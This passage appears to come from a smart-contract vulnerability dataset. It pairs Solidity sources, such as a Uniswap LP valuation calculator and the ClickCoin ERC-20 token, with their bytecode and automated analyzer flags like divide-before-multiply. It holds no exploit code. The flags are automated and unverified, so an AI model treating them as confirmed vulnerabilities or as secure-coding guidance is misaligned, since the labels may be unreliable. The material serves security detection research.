6565b601160008984815181101515610cde57fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002081905550601360008883815181101515610d1e57fe5b90602001906020020151600160a060020a0316600160a060020a0316815260200190815260200160002060408051908101604052808884815181101515610d6157fe5b6020908102919091018101516001608060020a03908116835267ffffffffffffffff87811693830193909352845460018101865560009586529482902084519501805494909201516fffffffffffffffffffffffffffffffff1990941694169390931777ffffffffffffffff000000000000000000000000000000001916608060020a92909116919091021790558651879082908110610dfd57fe5b90602001906020020151600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8884815181101515610e4957fe5b906020019060200201516040518082815260200191505060405180910390a3600101610c67565b33600090815260116020526040902054610e90908563ffffffff61173b16565b3360009081526011602090815260408083209390935560139052908120541115610ecc57336000908152601360205260408120610ecc91611762565b336000908152601160205260408120541115610f80573360009081526013602090815260408083208151808301835260118452918420546001608060020a03908116835267ffffffffffffffff80881684860190815283546001810185559387529490952092519290910180549351909416608060020a0277ffffffffffffffff0000000000000000000000000000000019929091166fffffffffffffffffffffffffffffffff1990931692909217161790555b5060019695505050505050565b600454600160a060020a031681565b600454600160a060020a03163314610fb357600080fd5b60008111610fc057600080fd5b33600090815260116020526040902054610fe0908263ffffffff61173b16565b336000908152601160209081526040808320939093556013905290812061100691611762565b3360009081526013602090815260408083208151808301835260118452918420546001608060020a03908116835267ffffffffffffffff42811684860190815283546001810185559387529490952092519290910180549351909416608060020a0277ffffffffffffffff0000000000000000000000000000000019929091166fffffffffffffffffffffffffffffffff199093169290921716179055600e546110b6908263ffffffff61173b16565b600e556010546110cc908263ffffffff61173b16565b601055600f546110e590600a830263ffffffff61173b16565b600f5560408051828152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250565b6006805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105d85780601f106105ad576101008083540402835291602001916105d8565b60105481565b6000806040604436101561119557600080fd5b33600160a060020a03861614156111b5576111ae610682565b925061145d565b336000908152601160205260409020546111d5908563ffffffff61173b16565b3360009081526011602052604080822092909255600160a060020a03871681522054611207908563ffffffff6115b016565b600160a060020a0386166000818152601160209081526040918290209390935580518781529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a333600090815260136020526040812054111561128a5733600090815260136020526040812061128a91611762565b4291506013600033600160a060020a0316600160a060020a0316815260200190815260200160002060408051908101604052806011600033600160a060020a0316600160a060020a03168152602001908152602001600020546001608060020a031681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816001608060020a0302191690836001608060020a0316021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505050506013600086600160a060020a0316600160a060020a031681526020019081526020016000206040805190810160405280866001608060020a031681526020018467ffffffffffffffff1681525090806001815401808255809150509060018203906000526020600020016000909192909190915060008201518160000160006101000a8154816001608060020a0302191690836001608060020a0316021790555060208201518160000160106101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550505050600192505b505092915050565b600d5490565b600b5481565b60095481565b600160a060020a03918216600090815260126020908152604080832093909416825291909152205490565b600c5481565b600454600160a060020a031633146114bf57600080fd5b600160a060020a03811615156114d457600080fd5b600454604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080600080600a54421015801561155757506000600a54115b151561156257600080fd5b42925061156f85846115c3565b91506000821161158257600093506115a8565b600d5490506115a5600754600a0a61016d0282840261174d90919063ffffffff16565b93505b505050919050565b818101828110156115bd57fe5b92915050565b600160a060020a0382166000908152601360205260408120548190819081106115ef576000925061145d565b600091505b600160a060020a03851660009081526013602052604090205482101561145d57600b54600160a060020a038616600090815260136020526040902080546116649291908590811061164157fe5b600091825260209091200154608060020a900467ffffffffffffffff16906115b0565b84101561167057611730565b600160a060020a038516600090815260136020526040902080546116bd91908490811061169957fe5b6000918252602090912001548590608060020a900467ffffffffffffffff1661173b565b9050600c548111156116ce5750600c545b61172d6116e4826201518063ffffffff61174d16565b600160a060020a038716600090815260136020526040902080548590811061170857fe5b60009182526020909120015485916001608060020a039091160263ffffffff6115b016565b92505b6001909101906115f4565b60008282111561174757fe5b50900390565b6000818381151561175a57fe5b049392505050565b50805460008255906000526020600020908101906117809190611783565b50565b6117b891905b8082111561082257805477ffffffffffffffffffffffffffffffffffffffffffffffff19168155600101611789565b905600a165627a7a723058203a0a9ccd577fc8b88159da81bb4e678d3490a71dc19279cc37f5035fabbc43030029 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 10,622 |
0xE23912E7982584A6B1E8212530D32C05678b1eac | // SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library FullMath {
function fullMul(uint256 x, uint256 y) private pure returns (uint256 l, uint256 h) {
uint256 mm = mulmod(x, y, uint256(-1));
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function fullDiv(
uint256 l,
uint256 h,
uint256 d
) private pure returns (uint256) {
uint256 pow2 = d & -d;
d /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint256 r = 1;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
r *= 2 - d * r;
return l * r;
}
function mulDiv(
uint256 x,
uint256 y,
uint256 d
) internal pure returns (uint256) {
(uint256 l, uint256 h) = fullMul(x, y);
uint256 mm = mulmod(x, y, d);
if (mm > l) h -= 1;
l -= mm;
require(h < d, 'FullMath::mulDiv: overflow');
return fullDiv(l, h, d);
}
}
library Babylonian {
function sqrt(uint256 x) internal pure returns (uint256) {
if (x == 0) return 0;
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x8) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1; // Seven iterations should be enough
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
library BitMath {
function mostSignificantBit(uint256 x) internal pure returns (uint8 r) {
require(x > 0, 'BitMath::mostSignificantBit: zero');
if (x >= 0x100000000000000000000000000000000) {
x >>= 128;
r += 128;
}
if (x >= 0x10000000000000000) {
x >>= 64;
r += 64;
}
if (x >= 0x100000000) {
x >>= 32;
r += 32;
}
if (x >= 0x10000) {
x >>= 16;
r += 16;
}
if (x >= 0x100) {
x >>= 8;
r += 8;
}
if (x >= 0x10) {
x >>= 4;
r += 4;
}
if (x >= 0x4) {
x >>= 2;
r += 2;
}
if (x >= 0x2) r += 1;
}
}
library FixedPoint {
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
struct uq112x112 {
uint224 _x;
}
// range: [0, 2**144 - 1]
// resolution: 1 / 2**112
struct uq144x112 {
uint256 _x;
}
uint8 private constant RESOLUTION = 112;
uint256 private constant Q112 = 0x10000000000000000000000000000;
uint256 private constant Q224 = 0x100000000000000000000000000000000000000000000000000000000;
uint256 private constant LOWER_MASK = 0xffffffffffffffffffffffffffff; // decimal of UQ*x112 (lower 112 bits)
// decode a UQ112x112 into a uint112 by truncating after the radix point
function decode(uq112x112 memory self) internal pure returns (uint112) {
return uint112(self._x >> RESOLUTION);
}
// decode a uq112x112 into a uint with 18 decimals of precision
function decode112with18(uq112x112 memory self) internal pure returns (uint) {
return uint(self._x) / 5192296858534827;
}
function fraction(uint256 numerator, uint256 denominator) internal pure returns (uq112x112 memory) {
require(denominator > 0, 'FixedPoint::fraction: division by zero');
if (numerator == 0) return FixedPoint.uq112x112(0);
if (numerator <= uint144(-1)) {
uint256 result = (numerator << RESOLUTION) / denominator;
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
} else {
uint256 result = FullMath.mulDiv(numerator, Q112, denominator);
require(result <= uint224(-1), 'FixedPoint::fraction: overflow');
return uq112x112(uint224(result));
}
}
// square root of a UQ112x112
// lossy between 0/1 and 40 bits
function sqrt(uq112x112 memory self) internal pure returns (uq112x112 memory) {
if (self._x <= uint144(-1)) {
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << 112)));
}
uint8 safeShiftBits = 255 - BitMath.mostSignificantBit(self._x);
safeShiftBits -= safeShiftBits % 2;
return uq112x112(uint224(Babylonian.sqrt(uint256(self._x) << safeShiftBits) << ((112 - safeShiftBits) / 2)));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
}
interface IUniswapV2ERC20 {
function totalSupply() external view returns (uint);
}
interface IUniswapV2Pair is IUniswapV2ERC20 {
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function token0() external view returns ( address );
function token1() external view returns ( address );
}
interface IBarteringCalculator {
function valuation( address pair_, uint amount_ ) external view returns ( uint _value );
}
contract UniversalBarteringCalculator is IBarteringCalculator {
using FixedPoint for *;
using SafeMath for uint;
using SafeMath for uint112;
address public immutable USV;
constructor( address _USV ) {
require( _USV != address(0) );
USV = _USV;
}
function getKValue( address _pair ) public view returns( uint k_ ) {
uint token0 = IERC20( IUniswapV2Pair( _pair ).token0() ).decimals();
uint token1 = IERC20( IUniswapV2Pair( _pair ).token1() ).decimals();
uint decimals = token0.add( token1 ).sub( IERC20( _pair ).decimals() );
(uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
k_ = reserve0.mul(reserve1).div( 10 ** decimals );
}
function getTotalValue( address _pair ) public view returns ( uint _value ) {
_value = getKValue( _pair ).sqrrt().mul(2);
}
function valuation( address _pair, uint amount_ ) external view override returns ( uint _value ) {
uint totalValue = getTotalValue( _pair );
uint totalSupply = IUniswapV2Pair( _pair ).totalSupply();
_value = totalValue.mul( FixedPoint.fraction( amount_, totalSupply ).decode112with18() ).div( 1e18 );
}
function markdown( address _pair ) external view returns ( uint ) {
( uint reserve0, uint reserve1, ) = IUniswapV2Pair( _pair ).getReserves();
uint reserve;
if ( IUniswapV2Pair( _pair ).token0() == USV ) {
reserve = reserve1;
} else {
reserve = reserve0;
}
return reserve.mul( 2 * ( 10 ** IERC20( USV ).decimals() ) ).div( getTotalValue( _pair ) );
}
} | 0x608060405234801561001057600080fd5b50600436106100575760003560e01c806332da80a31461005c5780634249719f146100b4578063490084ef14610116578063686375491461016e578063e222ad78146101c6575b600080fd5b61009e6004803603602081101561007257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506101fa565b6040518082815260200191505060405180910390f35b610100600480360360408110156100ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061047b565b6040518082815260200191505060405180910390f35b6101586004803603602081101561012c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610556565b6040518082815260200191505060405180910390f35b6101b06004803603602081101561018457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610904565b6040518082815260200191505060405180910390f35b6101ce610931565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008060008373ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561024557600080fd5b505afa158015610259573d6000803e3d6000fd5b505050506040513d606081101561026f57600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff16915060007f00000000000000000000000088536c9b2c4701b8db824e6a16829d5b5eb8444073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561033857600080fd5b505afa15801561034c573d6000803e3d6000fd5b505050506040513d602081101561036257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1614156103975781905061039b565b8290505b6104716103a786610904565b6104637f00000000000000000000000088536c9b2c4701b8db824e6a16829d5b5eb8444073ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561041057600080fd5b505afa158015610424573d6000803e3d6000fd5b505050506040513d602081101561043a57600080fd5b810190808051906020019092919050505060ff16600a0a6002028461095590919063ffffffff16565b6109db90919063ffffffff16565b9350505050919050565b60008061048784610904565b905060008473ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156104d157600080fd5b505afa1580156104e5573d6000803e3d6000fd5b505050506040513d60208110156104fb57600080fd5b8101908080519060200190929190505050905061054c670de0b6b3a764000061053e61052f61052a8886610a25565b610d06565b8561095590919063ffffffff16565b6109db90919063ffffffff16565b9250505092915050565b6000808273ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b15801561059f57600080fd5b505afa1580156105b3573d6000803e3d6000fd5b505050506040513d60208110156105c957600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561061f57600080fd5b505afa158015610633573d6000803e3d6000fd5b505050506040513d602081101561064957600080fd5b810190808051906020019092919050505060ff16905060008373ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156106a757600080fd5b505afa1580156106bb573d6000803e3d6000fd5b505050506040513d60208110156106d157600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561072757600080fd5b505afa15801561073b573d6000803e3d6000fd5b505050506040513d602081101561075157600080fd5b810190808051906020019092919050505060ff16905060006108118573ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b257600080fd5b505afa1580156107c6573d6000803e3d6000fd5b505050506040513d60208110156107dc57600080fd5b810190808051906020019092919050505060ff166108038486610d4290919063ffffffff16565b610dca90919063ffffffff16565b90506000808673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b15801561085c57600080fd5b505afa158015610870573d6000803e3d6000fd5b505050506040513d606081101561088657600080fd5b81019080805190602001909291908051906020019092919080519060200190929190505050506dffffffffffffffffffffffffffff1691506dffffffffffffffffffffffffffff1691506108f883600a0a6108ea838561095590919063ffffffff16565b6109db90919063ffffffff16565b95505050505050919050565b600061092a600261091c61091785610556565b610e14565b61095590919063ffffffff16565b9050919050565b7f00000000000000000000000088536c9b2c4701b8db824e6a16829d5b5eb8444081565b60008083141561096857600090506109d5565b600082840290508284828161097957fe5b04146109d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806112146021913960400191505060405180910390fd5b809150505b92915050565b6000610a1d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e84565b905092915050565b610a2d6111bc565b60008211610a86576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806111ee6026913960400191505060405180910390fd5b6000831415610ac457604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509050610d00565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff71ffffffffffffffffffffffffffffffffffff168311610bfd57600082607060ff1685901b81610b1157fe5b0490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811115610bc8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f77000081525060200191505060405180910390fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16815250915050610d00565b6000610c19846e01000000000000000000000000000085610f4a565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff16811115610ccf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4669786564506f696e743a3a6672616374696f6e3a206f766572666c6f77000081525060200191505060405180910390fd5b6040518060200160405280827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509150505b92915050565b60006612725dd1d243ab82600001517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1681610d3a57fe5b049050919050565b600080828401905083811015610dc0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000610e0c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061100c565b905092915050565b60006003821115610e71578190506000610e39610e328460026109db565b6001610d42565b90505b81811015610e6b57809150610e64610e5d610e5785846109db565b83610d42565b60026109db565b9050610e3c565b50610e7f565b60008214610e7e57600190505b5b919050565b60008083118290610f30576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ef5578082015181840152602081019050610eda565b50505050905090810190601f168015610f225780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610f3c57fe5b049050809150509392505050565b6000806000610f5986866110cc565b9150915060008480610f6757fe5b868809905082811115610f7b576001820391505b8083039250848210610ff5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f46756c6c4d6174683a3a6d756c4469763a206f766572666c6f7700000000000081525060200191505060405180910390fd5b61100083838761111f565b93505050509392505050565b60008383111582906110b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561107e578082015181840152602081019050611063565b50505050905090810190601f1680156110ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff806110f957fe5b84860990508385029250828103915082811015611117576001820391505b509250929050565b600080826000038316905080838161113357fe5b04925080858161113f57fe5b049450600181826000038161115057fe5b04018402850194506000600190508084026002038102905080840260020381029050808402600203810290508084026002038102905080840260020381029050808402600203810290508084026002038102905080840260020381029050808602925050509392505050565b604051806020016040528060007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff168152509056fe4669786564506f696e743a3a6672616374696f6e3a206469766973696f6e206279207a65726f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220d70df6cd3b7eb448cb62f14af9e182d941cc276edd792b635dcdfafaccce47ba64736f6c63430007050033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 10,623 |
0xa5c72aa61c533ebd33e1ea989390b40e8222b7db | pragma solidity ^0.4.23;
/*
* Creator: CLC (ClickCoin)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
function AbstractToken () {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* ClickCoin smart contract.
*/
contract CLCToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 22000000 * (10**8);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
function CLCToken () {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "ClickCoin";
string constant public symbol = "CLC";
uint8 constant public decimals = 8;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value)
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value)
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value)
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
} | 0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f3